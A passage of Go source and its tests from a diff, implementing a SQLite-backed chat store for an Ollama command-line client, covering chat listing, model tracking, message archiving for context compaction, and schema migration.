HAVING COALESCE(
NULLIF(c.model_name, ''),
(
SELECT lm.model_name
FROM messages lm
WHERE lm.chat_id = c.id AND lm.model_name IS NOT NULL AND lm.model_name != ''
ORDER BY lm.updated_at DESC, lm.id DESC
LIMIT 1
)
) IS NOT NULL
ORDER BY MAX(m.updated_at) DESC, MAX(m.id) DESC
LIMIT 1
`).Scan(&chatID); err != nil {
return nil, err
}
return s.Chat(ctx, chatID)
}
func (s *Store) LatestChatForModel(ctx context.Context, model string) (*Chat, error) {
if strings.TrimSpace(model) == "" {
return nil, fmt.Errorf("model is required")
}
var chatID string
if err := s.db.QueryRowContext(ctx, `
SELECT c.id
FROM chats c
JOIN messages m ON m.chat_id = c.id
GROUP BY c.id
HAVING COALESCE(
NULLIF(c.model_name, ''),
(
SELECT lm.model_name
FROM messages lm
WHERE lm.chat_id = c.id AND lm.model_name IS NOT NULL AND lm.model_name != ''
ORDER BY lm.updated_at DESC, lm.id DESC
LIMIT 1
)
) = ?
ORDER BY MAX(m.updated_at) DESC, MAX(m.id) DESC
LIMIT 1
`, model).Scan(&chatID); err != nil {
return nil, err
}
return s.Chat(ctx, chatID)
}
func (s *Store) ListChats(ctx context.Context, limit int) ([]ChatSummary, error) {
if limit <= 0 {
limit = 50
}
rows, err := s.db.QueryContext(ctx, `
SELECT
c.id,
c.title,
c.created_at,
MAX(m.updated_at) AS updated_at,
COUNT(m.id) AS message_count,
COALESCE(SUM(
LENGTH(m.role) +
LENGTH(m.content) +
LENGTH(m.thinking) +
LENGTH(m.tool_name) +
LENGTH(m.tool_call_id)
), 0) AS approx_bytes
FROM chats c
JOIN messages m ON m.chat_id = c.id AND m.archived = 0
GROUP BY c.id
ORDER BY updated_at DESC, MAX(m.id) DESC
LIMIT ?
`, limit)
if err != nil {
return nil, fmt.Errorf("list chats: %w", err)
}
defer rows.Close()
var summaries []ChatSummary
for rows.Next() {
var summary ChatSummary
var updatedAt string
if err := rows.Scan(&summary.ID, &summary.Title, &summary.CreatedAt, &updatedAt, &summary.MessageCount, &summary.ApproxBytes); err != nil {
return nil, fmt.Errorf("scan chat summary: %w", err)
}
summary.UpdatedAt, err = parseSQLiteTime(updatedAt)
if err != nil {
return nil, fmt.Errorf("parse chat updated_at: %w", err)
}
summaries = append(summaries, summary)
}
if err := rows.Err(); err != nil {
return nil, fmt.Errorf("read chat summaries: %w", err)
}
for i := range summaries {
model, err := currentModelForChat(ctx, s.db, summaries[i].ID)
if err != nil {
return nil, err
}
summaries[i].Model = model
}
return summaries, nil
}
func (s *Store) ListUserMessages(ctx context.Context, limit int) ([]string, error) {
if limit <= 0 {
limit = 50
}
rows, err := s.db.QueryContext(ctx, `
SELECT content
FROM (
SELECT id, content
FROM messages
WHERE role = 'user'
AND TRIM(content) != ''
AND content NOT LIKE ?
ORDER BY id DESC
LIMIT ?
)
ORDER BY id ASC
`, compactionSummaryMessagePrefix+"%", limit)
if err != nil {
return nil, fmt.Errorf("list user messages: %w", err)
}
defer rows.Close()
var messages []string
for rows.Next() {
var content string
if err := rows.Scan(&content); err != nil {
return nil, fmt.Errorf("scan user message: %w", err)
}
messages = append(messages, content)
}
if err := rows.Err(); err != nil {
return nil, fmt.Errorf("read user messages: %w", err)
}
return messages, nil
}
func parseSQLiteTime(value string) (time.Time, error) {
value = strings.TrimSpace(value)
if value == "" {
return time.Time{}, nil
}
for _, layout := range []string{
time.RFC3339Nano,
"2006-01-02 15:04:05.999999999-07:00",
"2006-01-02 15:04:05.999999999Z07:00",
"2006-01-02 15:04:05.999999999",
"2006-01-02 15:04:05-07:00",
"2006-01-02 15:04:05Z07:00",
"2006-01-02 15:04:05",
} {
t, err := time.Parse(layout, value)
if err == nil {
return t, nil
}
}
return time.Time{}, fmt.Errorf("unsupported time format %q", value)
}
func latestModelForChat(ctx context.Context, db *sql.DB, chatID string) (string, error) {
var modelName string
if err := db.QueryRowContext(ctx, `
SELECT model_name
FROM messages
WHERE chat_id = ? AND model_name IS NOT NULL AND model_name != ''
ORDER BY updated_at DESC, id DESC
LIMIT 1
`, chatID).Scan(&modelName); err != nil {
if errors.Is(err, sql.ErrNoRows) {
return "", nil
}
return "", err
}
return modelName, nil
}
func currentModelForChat(ctx context.Context, db *sql.DB, chatID string) (string, error) {
var modelName string
if err := db.QueryRowContext(ctx, `SELECT model_name FROM chats WHERE id = ?`, chatID).Scan(&modelName); err != nil {
return "", err
}
if strings.TrimSpace(modelName) != "" {
return modelName, nil
}
return latestModelForChat(ctx, db, chatID)
}
func (s *Store) ArchiveForCompaction(ctx context.Context, chatID string, keepUserTurns int, summary string) error {
return s.archiveForCompaction(ctx, chatID, keepUserTurns, summary, false)
}
// ArchiveForCompactionWithContinuation stores a compaction tool result that
// tells the model to continue the in-progress task after automatic compaction.
func (s *Store) ArchiveForCompactionWithContinuation(ctx context.Context, chatID string, keepUserTurns int, summary string, continueTask bool) error {
return s.archiveForCompaction(ctx, chatID, keepUserTurns, summary, continueTask)
}
func (s *Store) archiveForCompaction(ctx context.Context, chatID string, keepUserTurns int, summary string, continueTask bool) error {
if chatID == "" {
return fmt.Errorf("chat id is required")
}
if keepUserTurns < 0 {
return fmt.Errorf("keep user turns must be non-negative")
}
if strings.TrimSpace(summary) == "" {
return fmt.Errorf("summary is required")
}
tx, err := s.db.BeginTx(ctx, nil)
if err != nil {
return fmt.Errorf("begin transaction: %w", err)
}
defer tx.Rollback()
var keepStartID int64
if keepUserTurns == 0 {
if err := tx.QueryRowContext(ctx, `
SELECT COALESCE(MAX(id) + 1, 0)
FROM messages
WHERE chat_id = ? AND archived = 0
`, chatID).Scan(&keepStartID); err != nil {
return fmt.Errorf("find compaction boundary: %w", err)
}
if keepStartID == 0 {
return nil
}
} else {
if err := tx.QueryRowContext(ctx, `
SELECT id
FROM messages
WHERE chat_id = ? AND archived = 0 AND role = 'user'
ORDER BY id DESC
LIMIT 1 OFFSET ?
`, chatID, keepUserTurns-1).Scan(&keepStartID); err != nil {
if errors.Is(err, sql.ErrNoRows) {
return nil
}
return fmt.Errorf("find compaction boundary: %w", err)
}
}
rows, err := tx.QueryContext(ctx, `
SELECT m.id
FROM messages m
WHERE m.chat_id = ? AND m.archived = 0 AND (
m.id < ?
OR m.tool_name = ?
OR EXISTS (
SELECT 1 FROM tool_calls tc
WHERE tc.message_id = m.id AND tc.function_name = ?
)
)
ORDER BY id ASC
`, chatID, keepStartID, compactionToolName, compactionToolName)
if err != nil {
return fmt.Errorf("list archived messages: %w", err)
}
var archivedIDs []int64
for rows.Next() {
var id int64
if err := rows.Scan(&id); err != nil {
rows.Close()
return fmt.Errorf("scan archived message id: %w", err)
}
archivedIDs = append(archivedIDs, id)
}
if err := rows.Err(); err != nil {
rows.Close()
return fmt.Errorf("read archived message ids: %w", err)
}
rows.Close()
if len(archivedIDs) == 0 {
return nil
}
idsJSON, err := json.Marshal(archivedIDs)
if err != nil {
return fmt.Errorf("marshal archived message ids: %w", err)
}
if _, err := tx.ExecContext(ctx, `
INSERT INTO compactions (chat_id, summary, archived_message_ids, created_at)
VALUES (?, ?, ?, ?)
`, chatID, summary, string(idsJSON), time.Now()); err != nil {
return fmt.Errorf("insert compaction: %w", err)
}
if _, err := tx.ExecContext(ctx, `
UPDATE messages
SET archived = 1
WHERE chat_id = ? AND archived = 0 AND (
id < ?
OR tool_name = ?
OR EXISTS (
SELECT 1 FROM tool_calls
WHERE tool_calls.message_id = messages.id AND tool_calls.function_name = ?
)
)
`, chatID, keepStartID, compactionToolName, compactionToolName); err != nil {
return fmt.Errorf("archive messages: %w", err)
}
for _, msg := range compactionSummaryMessages(summary, continueTask) {
messageID, err := insertMessage(ctx, tx, chatID, msg, "")
if err != nil {
return err
}
for _, toolCall := range msg.ToolCalls {
if err := insertToolCall(ctx, tx, messageID, toolCall); err != nil {
return err
}
}
}
return tx.Commit()
}
func compactionSummaryMessages(summary string, continueTask bool) []api.Message {
content := compactionSummaryMessagePrefix + strings.TrimSpace(summary)
if continueTask {
content = strings.TrimSpace(content) + "\n\n" + compactionContinueInstruction
}
return []api.Message{
{
Role: "assistant",
ToolCalls: []api.ToolCall{{
ID: compactionToolCallID,
Function: api.ToolCallFunction{
Name: compactionToolName,
},
}},
},
{
Role: "tool",
ToolName: compactionToolName,
ToolCallID: compactionToolCallID,
Content: content,
},
}
}
func isCompactionToolName(name string) bool {
return name == compactionToolName
}
func messagesContainCompactionSummary(messages []api.Message) bool {
for _, msg := range messages {
if msg.Role == "tool" && isCompactionToolName(msg.ToolName) && strings.HasPrefix(msg.Content, compactionSummaryMessagePrefix) {
return true
}
if (msg.Role == "user" || msg.Role == "system") && strings.HasPrefix(msg.Content, compactionSummaryMessagePrefix) {
return true
}
}
return false
}
func moveCompactionSummaryBeforeKeptMessages(messages []api.Message) []api.Message {
start := -1
end := -1
for i, msg := range messages {
if msg.Role == "assistant" {
for _, call := range msg.ToolCalls {
if isCompactionToolName(call.Function.Name) {
start = i
end = i + 1
if end < len(messages) && messages[end].Role == "tool" && isCompactionToolName(messages[end].ToolName) {
end++
}
break
}
}
}
if start >= 0 {
break
}
}
if start <= 0 || end <= start {
return messages
}
insertAt := leadingSystemMessageCount(messages[:start])
reordered := make([]api.Message, 0, len(messages))
reordered = append(reordered, messages[:insertAt]...)
reordered = append(reordered, messages[start:end]...)
reordered = append(reordered, messages[insertAt:start]...)
reordered = append(reordered, messages[end:]...)
return reordered
}
func insertCompactionSummaryAfterLeadingSystemMessages(messages, summary []api.Message) []api.Message {
insertAt := leadingSystemMessageCount(messages)
reordered := make([]api.Message, 0, len(messages)+len(summary))
reordered = append(reordered, messages[:insertAt]...)
reordered = append(reordered, summary...)
reordered = append(reordered, messages[insertAt:]...)
return reordered
}
func leadingSystemMessageCount(messages []api.Message) int {
for i, msg := range messages {
if msg.Role != "system" {
return i
}
}
return len(messages)
}
func insertMessage(ctx context.Context, tx *sql.Tx, chatID string, msg api.Message, model string) (int64, error) {
now := time.Now()
var modelName sql.NullString
if model != "" {
modelName = sql.NullString{String: model, Valid: true}
}
imagesJSON, err := marshalMessageImages(msg.Images)
if err != nil {
return 0, err
}
result, err := tx.ExecContext(ctx, `
INSERT INTO messages (chat_id, role, content, thinking, images, tool_name, tool_call_id, model_name, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`, chatID, msg.Role, msg.Content, msg.Thinking, imagesJSON, msg.ToolName, msg.ToolCallID, modelName, now, now)
if err != nil {
return 0, fmt.Errorf("insert message: %w", err)
}
id, err := result.LastInsertId()
if err != nil {
return 0, fmt.Errorf("get message id: %w", err)
}
return id, nil
}
func marshalMessageImages(images []api.ImageData) (string, error) {
if len(images) == 0 {
return "[]", nil
}
data, err := json.Marshal(images)
if err != nil {
return "", fmt.Errorf("marshal message images: %w", err)
}
return string(data), nil
}
func unmarshalMessageImages(value string) ([]api.ImageData, error) {
value = strings.TrimSpace(value)
if value == "" || value == "null" {
return nil, nil
}
var images []api.ImageData
if err := json.Unmarshal([]byte(value), &images); err != nil {
return nil, fmt.Errorf("unmarshal message images: %w", err)
}
return images, nil
}
func insertToolCall(ctx context.Context, tx *sql.Tx, messageID int64, call api.ToolCall) error {
args, err := json.Marshal(call.Function.Arguments)
if err != nil {
return fmt.Errorf("marshal tool arguments: %w", err)
}
_, err = tx.ExecContext(ctx, `
INSERT INTO tool_calls (message_id, type, tool_call_id, function_name, function_arguments)
VALUES (?, ?, ?, ?, ?)
`, messageID, "function", call.ID, call.Function.Name, string(args))
if err != nil {
return fmt.Errorf("insert tool call: %w", err)
}
return nil
}
func getToolCalls(ctx context.Context, db *sql.DB, messageID int64) ([]api.ToolCall, error) {
rows, err := db.QueryContext(ctx, `
SELECT tool_call_id, function_name, function_arguments FROM tool_calls WHERE message_id = ? ORDER BY id ASC
`, messageID)
if err != nil {
return nil, err
}
defer rows.Close()
var calls []api.ToolCall
for rows.Next() {
var id, name, argsJSON string
if err := rows.Scan(&id, &name, &argsJSON); err != nil {
return nil, err
}
var args api.ToolCallFunctionArguments
if err := json.Unmarshal([]byte(argsJSON), &args); err != nil {
return nil, err
}
calls = append(calls, api.ToolCall{
ID: id,
Function: api.ToolCallFunction{
Name: name,
Arguments: args,
},
})
}
return calls, rows.Err()
}
func latestCompactionSummary(ctx context.Context, db *sql.DB, chatID string) (string, error) {
var summary string
if err := db.QueryRowContext(ctx, `
SELECT summary
FROM compactions
WHERE chat_id = ?
ORDER BY id DESC
LIMIT 1
`, chatID).Scan(&summary); err != nil {
if errors.Is(err, sql.ErrNoRows) {
return "", nil
}
return "", fmt.Errorf("get latest compaction summary: %w", err)
}
return summary, nil
}
func ensureColumn(ctx context.Context, db *sql.DB, table, column, definition string) error {
rows, err := db.QueryContext(ctx, `PRAGMA table_info(`+table+`)`)
if err != nil {
return fmt.Errorf("inspect %s schema: %w", table, err)
}
defer rows.Close()
for rows.Next() {
var cid int
var name string
var typ string
var notNull int
var defaultValue any
var pk int
if err := rows.Scan(&cid, &name, &typ, &notNull, &defaultValue, &pk); err != nil {
return fmt.Errorf("scan %s schema: %w", table, err)
}
if name == column {
return nil
}
}
if err := rows.Err(); err != nil {
return fmt.Errorf("read %s schema: %w", table, err)
}
if _, err := db.ExecContext(ctx, fmt.Sprintf("ALTER TABLE %s ADD COLUMN %s %s", table, column, definition)); err != nil {
return fmt.Errorf("add %s.%s column: %w", table, column, err)
}
return nil
}
func maybeSetTitle(ctx context.Context, tx *sql.Tx, chatID string, content string) error {
title := strings.TrimSpace(content)
if len([]rune(title)) > 64 {
title = string([]rune(title)[:64])
}
_, err := tx.ExecContext(ctx, `
UPDATE chats
SET title = CASE WHEN title = '' THEN ? ELSE title END
WHERE id = ?
`, title, chatID)
return err
}
+682
View File
@@ -0,0 +1,682 @@
package chatstore
import (
"bytes"
"context"
"database/sql"
"encoding/json"
"errors"
"path/filepath"
"slices"
"strings"
"testing"
"github.com/ollama/ollama/api"
)
func TestStoreWritesAppCompatibleChat(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
if err := store.EnsureChat(ctx, "chat-1", ""); err != nil {
t.Fatal(err)
}
if err := store.AppendMessage(ctx, "chat-1", api.Message{Role: "user", Content: "hello from cli"}, ""); err != nil {
t.Fatal(err)
}
args := api.NewToolCallFunctionArguments()
args.Set("command", "pwd")
if err := store.AppendMessage(ctx, "chat-1", api.Message{
Role: "assistant",
Content: "I'll check.",
ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "bash",
Arguments: args,
},
}},
}, "llama3.2"); err != nil {
t.Fatal(err)
}
chat, err := store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if len(chat.Messages) != 2 {
t.Fatalf("messages = %d, want 2", len(chat.Messages))
}
if chat.Title != "hello from cli" {
t.Fatalf("title = %q, want %q", chat.Title, "hello from cli")
}
if got := chat.Messages[1].ToolCalls[0].Function.Name; got != "bash" {
t.Fatalf("tool name = %q, want bash", got)
}
if got := chat.Messages[1].ToolCalls[0].ID; got != "call-1" {
t.Fatalf("tool call id = %q, want call-1", got)
}
var modelName sql.NullString
if err := store.db.QueryRowContext(ctx, `
SELECT model_name FROM messages WHERE chat_id = ? AND role = 'assistant'
`, "chat-1").Scan(&modelName); err != nil {
t.Fatal(err)
}
if !modelName.Valid || modelName.String != "llama3.2" {
t.Fatalf("model_name = %#v, want llama3.2", modelName)
}
}
func TestStoreRestoresToolMessageMetadata(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
if err := store.AppendMessage(ctx, "chat-1", api.Message{
Role: "tool",
Content: "tool output",
ToolName: "bash",
ToolCallID: "call-1",
}, ""); err != nil {
t.Fatal(err)
}
chat, err := store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if len(chat.Messages) != 1 {
t.Fatalf("messages = %d, want 1", len(chat.Messages))
}
if chat.Messages[0].ToolName != "bash" || chat.Messages[0].ToolCallID != "call-1" {
t.Fatalf("tool metadata = %#v", chat.Messages[0])
}
}
func TestStoreRoundTripsMessageImages(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
first := api.ImageData([]byte("first image"))
second := api.ImageData([]byte{0, 1, 2, 3})
if err := store.AppendMessage(ctx, "chat-1", api.Message{
Role: "user",
Content: "look",
Images: []api.ImageData{first, second},
}, ""); err != nil {
t.Fatal(err)
}
chat, err := store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if len(chat.Messages) != 1 || len(chat.Messages[0].Images) != 2 {
t.Fatalf("messages = %#v", chat.Messages)
}
if !bytes.Equal(chat.Messages[0].Images[0], first) || !bytes.Equal(chat.Messages[0].Images[1], second) {
t.Fatalf("images = %#v, want %#v", chat.Messages[0].Images, []api.ImageData{first, second})
}
updated := api.ImageData([]byte("updated image"))
if err := store.UpdateLastMessage(ctx, "chat-1", api.Message{
Role: "user",
Content: "updated",
Images: []api.ImageData{updated},
}, ""); err != nil {
t.Fatal(err)
}
chat, err = store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if len(chat.Messages) != 1 || len(chat.Messages[0].Images) != 1 || !bytes.Equal(chat.Messages[0].Images[0], updated) {
t.Fatalf("updated images = %#v", chat.Messages)
}
}
func TestStoreMigratesOldMessagesSchemaForImages(t *testing.T) {
path := filepath.Join(t.TempDir(), "db.sqlite")
db, err := sql.Open("sqlite3", path)
if err != nil {
t.Fatal(err)
}
if _, err := db.Exec(`
CREATE TABLE chats (
id TEXT PRIMARY KEY,
title TEXT NOT NULL DEFAULT '',
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
browser_state TEXT
);
CREATE TABLE messages (
id INTEGER PRIMARY KEY AUTOINCREMENT,
chat_id TEXT NOT NULL,
role TEXT NOT NULL,
content TEXT NOT NULL DEFAULT '',
thinking TEXT NOT NULL DEFAULT '',
stream BOOLEAN NOT NULL DEFAULT 0,
model_name TEXT,
model_cloud BOOLEAN,
model_ollama_host BOOLEAN,
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
thinking_time_start TIMESTAMP,
thinking_time_end TIMESTAMP,
tool_result TEXT,
tool_name TEXT NOT NULL DEFAULT '',
tool_call_id TEXT NOT NULL DEFAULT '',
archived BOOLEAN NOT NULL DEFAULT 0,
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
);
`); err != nil {
db.Close()
t.Fatal(err)
}
if err := db.Close(); err != nil {
t.Fatal(err)
}
store, err := New(path)
if err != nil {
t.Fatal(err)
}
defer store.Close()
var found bool
rows, err := store.db.Query(`PRAGMA table_info(messages)`)
if err != nil {
t.Fatal(err)
}
defer rows.Close()
for rows.Next() {
var cid int
var name string
var typ string
var notNull int
var defaultValue any
var pk int
if err := rows.Scan(&cid, &name, &typ, &notNull, &defaultValue, &pk); err != nil {
t.Fatal(err)
}
if name == "images" {
found = true
}
}
if err := rows.Err(); err != nil {
t.Fatal(err)
}
if !found {
t.Fatal("images column was not added")
}
found = false
rows, err = store.db.Query(`PRAGMA table_info(chats)`)
if err != nil {
t.Fatal(err)
}
defer rows.Close()
for rows.Next() {
var cid int
var name string
var typ string
var notNull int
var defaultValue any
var pk int
if err := rows.Scan(&cid, &name, &typ, &notNull, &defaultValue, &pk); err != nil {
t.Fatal(err)
}
if name == "model_name" {
found = true
}
}
if err := rows.Err(); err != nil {
t.Fatal(err)
}
if !found {
t.Fatal("chat model_name column was not added")
}
ctx := context.Background()
image := api.ImageData([]byte("after migration"))
if err := store.AppendMessage(ctx, "chat-1", api.Message{Role: "user", Content: "image", Images: []api.ImageData{image}}, ""); err != nil {
t.Fatal(err)
}
chat, err := store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if len(chat.Messages) != 1 || len(chat.Messages[0].Images) != 1 || !bytes.Equal(chat.Messages[0].Images[0], image) {
t.Fatalf("migrated images = %#v", chat.Messages)
}
}
func TestStoreLatestChatForModel(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
if err := store.AppendMessage(ctx, "chat-old", api.Message{Role: "assistant", Content: "old"}, "llama3.2"); err != nil {
t.Fatal(err)
}
if err := store.AppendMessage(ctx, "chat-other", api.Message{Role: "assistant", Content: "other"}, "qwen3"); err != nil {
t.Fatal(err)
}
if err := store.AppendMessage(ctx, "chat-new", api.Message{Role: "assistant", Content: "new"}, "llama3.2"); err != nil {
t.Fatal(err)
}
chat, err := store.LatestChatForModel(ctx, "llama3.2")
if err != nil {
t.Fatal(err)
}
if chat.ID != "chat-new" {
t.Fatalf("chat ID = %q, want chat-new", chat.ID)
}
if chat.Model != "llama3.2" {
t.Fatalf("chat model = %q, want llama3.2", chat.Model)
}
if _, err := store.LatestChatForModel(ctx, "missing"); !errors.Is(err, sql.ErrNoRows) {
t.Fatalf("missing model err = %v, want sql.ErrNoRows", err)
}
}
func TestStoreLatestChat(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
if err := store.AppendMessage(ctx, "chat-old", api.Message{Role: "assistant", Content: "old"}, "llama3.2"); err != nil {
t.Fatal(err)
}
if err := store.AppendMessage(ctx, "chat-new", api.Message{Role: "assistant", Content: "new"}, "qwen3:8b"); err != nil {
t.Fatal(err)
}
chat, err := store.LatestChat(ctx)
if err != nil {
t.Fatal(err)
}
if chat.ID != "chat-new" {
t.Fatalf("chat ID = %q, want chat-new", chat.ID)
}
if chat.Model != "qwen3:8b" {
t.Fatalf("chat model = %q, want qwen3:8b", chat.Model)
}
}
func TestStoreLatestChatSkipsChatsWithoutModel(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
if err := store.AppendMessage(ctx, "chat-1", api.Message{Role: "user", Content: "orphaned user turn"}, ""); err != nil {
t.Fatal(err)
}
if _, err := store.LatestChat(ctx); !errors.Is(err, sql.ErrNoRows) {
t.Fatalf("latest chat err = %v, want sql.ErrNoRows", err)
}
}
func TestStoreSetChatModel(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
if err := store.EnsureChat(ctx, "empty", ""); err != nil {
t.Fatal(err)
}
if err := store.SetChatModel(ctx, "empty", "qwen3"); err != nil {
t.Fatal(err)
}
summaries, err := store.ListChats(ctx, 10)
if err != nil {
t.Fatal(err)
}
if len(summaries) != 0 {
t.Fatalf("empty chat summaries = %#v, want none", summaries)
}
if _, err := store.LatestChat(ctx); !errors.Is(err, sql.ErrNoRows) {
t.Fatalf("empty latest chat err = %v, want sql.ErrNoRows", err)
}
if err := store.AppendMessage(ctx, "chat-1", api.Message{Role: "user", Content: "hello"}, ""); err != nil {
t.Fatal(err)
}
if err := store.AppendMessage(ctx, "chat-1", api.Message{Role: "assistant", Content: "hi"}, "llama3.2"); err != nil {
t.Fatal(err)
}
if err := store.SetChatModel(ctx, "chat-1", "qwen3"); err != nil {
t.Fatal(err)
}
chat, err := store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if chat.Model != "qwen3" {
t.Fatalf("chat model = %q, want qwen3", chat.Model)
}
if len(chat.Messages) != 2 || chat.Messages[0].Content != "hello" || chat.Messages[1].Content != "hi" {
t.Fatalf("chat messages changed: %#v", chat.Messages)
}
chat, err = store.LatestChat(ctx)
if err != nil {
t.Fatal(err)
}
if chat.ID != "chat-1" || chat.Model != "qwen3" {
t.Fatalf("latest chat = %#v, want chat-1 with qwen3", chat)
}
chat, err = store.LatestChatForModel(ctx, "qwen3")
if err != nil {
t.Fatal(err)
}
if chat.ID != "chat-1" {
t.Fatalf("latest qwen chat = %q, want chat-1", chat.ID)
}
if _, err := store.LatestChatForModel(ctx, "llama3.2"); !errors.Is(err, sql.ErrNoRows) {
t.Fatalf("old message model err = %v, want sql.ErrNoRows", err)
}
summaries, err = store.ListChats(ctx, 10)
if err != nil {
t.Fatal(err)
}
if len(summaries) != 1 || summaries[0].ID != "chat-1" || summaries[0].Model != "qwen3" {
t.Fatalf("summaries = %#v, want chat-1 with qwen3", summaries)
}
}
func TestStoreListChats(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
if err := store.AppendMessage(ctx, "chat-old", api.Message{Role: "user", Content: "old topic"}, ""); err != nil {
t.Fatal(err)
}
if err := store.AppendMessage(ctx, "chat-old", api.Message{Role: "assistant", Content: "old answer"}, "llama3.2"); err != nil {
t.Fatal(err)
}
if err := store.AppendMessage(ctx, "chat-new", api.Message{Role: "user", Content: "new topic"}, ""); err != nil {
t.Fatal(err)
}
if err := store.AppendMessage(ctx, "chat-new", api.Message{Role: "assistant", Content: "new answer"}, "qwen3"); err != nil {
t.Fatal(err)
}
summaries, err := store.ListChats(ctx, 10)
if err != nil {
t.Fatal(err)
}
if len(summaries) != 2 {
t.Fatalf("summaries = %d, want 2", len(summaries))
}
if summaries[0].ID != "chat-new" || summaries[0].Title != "new topic" || summaries[0].Model != "qwen3" {
t.Fatalf("newest summary = %#v", summaries[0])
}
if summaries[0].MessageCount != 2 {
t.Fatalf("message count = %d, want 2", summaries[0].MessageCount)
}
if summaries[0].ApproxBytes <= 0 {
t.Fatalf("approx bytes = %d, want positive", summaries[0].ApproxBytes)
}
if summaries[1].ID != "chat-old" || summaries[1].Model != "llama3.2" {
t.Fatalf("older summary = %#v", summaries[1])
}
}
func TestStoreListUserMessages(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
for _, msg := range []api.Message{
{Role: "user", Content: "old prompt"},
{Role: "assistant", Content: "not user"},
{Role: "user", Content: "middle prompt"},
{Role: "user", Content: " "},
{Role: "user", Content: compactionSummaryMessagePrefix + "old context"},
{Role: "user", Content: "new prompt"},
} {
if err := store.AppendMessage(ctx, "chat-1", msg, ""); err != nil {
t.Fatal(err)
}
}
messages, err := store.ListUserMessages(ctx, 2)
if err != nil {
t.Fatal(err)
}
want := []string{"middle prompt", "new prompt"}
if !slices.Equal(messages, want) {
t.Fatalf("messages = %#v, want %#v", messages, want)
}
}
func TestStoreArchivesCompactedMessages(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
for _, msg := range []api.Message{
{Role: "user", Content: "old one"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent one"},
{Role: "assistant", Content: "recent answer"},
{Role: "user", Content: "recent two"},
} {
if err := store.AppendMessage(ctx, "chat-1", msg, ""); err != nil {
t.Fatal(err)
}
}
if err := store.ArchiveForCompaction(ctx, "chat-1", 2, "summary"); err != nil {
t.Fatal(err)
}
chat, err := store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if len(chat.Messages) != 5 {
t.Fatalf("active messages = %d, want 5", len(chat.Messages))
}
if chat.Messages[0].Role != "assistant" || len(chat.Messages[0].ToolCalls) != 1 || chat.Messages[0].ToolCalls[0].Function.Name != compactionToolName {
t.Fatalf("summary tool call = %#v", chat.Messages[0])
}
if chat.Messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
t.Fatalf("summary tool call should not have arguments: %#v", chat.Messages[0].ToolCalls[0].Function.Arguments.ToMap())
}
if chat.Messages[1].Role != "tool" || chat.Messages[1].ToolName != compactionToolName || chat.Messages[1].Content != compactionSummaryMessagePrefix+"summary" {
t.Fatalf("summary tool result = %#v", chat.Messages[1])
}
if chat.Messages[2].Content != "recent one" {
t.Fatalf("first kept message = %#v", chat.Messages[2])
}
var idsJSON string
if err := store.db.QueryRowContext(ctx, `
SELECT archived_message_ids FROM compactions WHERE chat_id = ?
`, "chat-1").Scan(&idsJSON); err != nil {
t.Fatal(err)
}
var ids []int64
if err := json.Unmarshal([]byte(idsJSON), &ids); err != nil {
t.Fatal(err)
}
if len(ids) != 2 {
t.Fatalf("archived ids = %v, want 2 ids", ids)
}
}
func TestStoreArchivesWholeChatWhenKeepingZeroTurns(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
for _, msg := range []api.Message{
{Role: "user", Content: "only request"},
{Role: "assistant", Content: "only answer"},
} {
if err := store.AppendMessage(ctx, "chat-1", msg, ""); err != nil {
t.Fatal(err)
}
}
if err := store.ArchiveForCompaction(ctx, "chat-1", 0, "summary"); err != nil {
t.Fatal(err)
}
chat, err := store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if len(chat.Messages) != 2 {
t.Fatalf("active messages = %d, want compaction tool pair only", len(chat.Messages))
}
if chat.Messages[0].Role != "assistant" || len(chat.Messages[0].ToolCalls) != 1 || chat.Messages[0].ToolCalls[0].Function.Name != compactionToolName {
t.Fatalf("summary tool call = %#v", chat.Messages[0])
}
if chat.Messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
t.Fatalf("summary tool call should not have arguments: %#v", chat.Messages[0].ToolCalls[0].Function.Arguments.ToMap())
}
